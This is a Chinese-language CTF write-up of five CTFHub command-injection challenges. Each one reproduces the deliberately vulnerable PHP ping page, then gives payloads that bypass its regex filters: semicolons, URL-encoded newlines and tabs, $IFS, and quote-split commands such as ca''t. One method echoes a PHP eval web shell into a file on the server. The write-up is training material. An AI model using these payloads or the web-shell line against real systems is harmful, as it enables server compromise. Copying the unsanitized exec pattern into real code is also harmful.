CTFHub 命令注入-过滤cat
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-过滤cat</title>
</head>
<body>
<h1>CTFHub 命令注入-过滤cat</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
可以看到cat被正则表达式给过滤了。
这道题方法很多
方法一
用less、more、tail等命令来代替cat命令
方法二
一句话木马
构造payload如下:
127.0.0.1 &echo "<?php @eval(\$_POST['shell']);?>" >> 1.php
echo -e 处理特殊字符
echo命令会调用$_POST导致原始文件中没有,所以要加一个
方法三
反斜杠 : 例如 ca\t fl\ag.php
连接符: 例如 ca’‘t fla’'g.txt
然后都懂得:)
CTFHub 命令注入-过滤空格
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-过滤空格</title>
</head>
<body>
<h1>CTFHub 命令注入-过滤空格</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
这里是空格被正则表达式过滤了
以下字符都可以代替空格:
然后就不过多赘述了
<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS}, IFS,IFS
CTFHub 命令注入-过滤目录分隔符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-过滤目录分隔符</title>
</head>
<body>
<h1>CTFHub 命令注入-过滤目录分隔符</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
反斜杠和正斜杠都被过滤了
方法一
我们先试一下 127.0.0.1;ls
发现这里有一个文件夹flag_is_here
我们再查看一下
127.0.0.1;ls flag_is_here
找到flag的文件了
接下来构造payload:
127.0.0.1;cd flag_is_here;cat flag_31961112137507.php
然后flag到手
CTFHub 命令注入-过滤运算符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-过滤运算符</title>
</head>
<body>
<h1>CTFHub 命令注入-过滤运算符</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
这道题过滤了(||&)这些符号
不过我一直都是用;的呀,嘿嘿嘿
木大
127.0.0.1;ls
127.0.0.1;cat flag_2346763091385.php
CTFHub 命令注入-综合练习
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-综合练习</title>
</head>
<body>
<h1>CTFHub 命令注入-综合练习</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
这一题过滤了一堆字符和三个单词(||&|;| |/|cat|flag|ctfhub)
这里我们可以利用url地址栏来构造payload。
%0a 是 换行符
%09 是 TAB键
于是构造payload:
127.0.0.1%0als
127.0.0.1%0als%09*
tab键可以自动补齐后面的内容ls%09*可查看所有的文件
得到文件flag_167523157129713.php
127.0.0.1%0acd%09*here%0aca''t%09*.php
cat被过滤了,所以用ca’'t来代替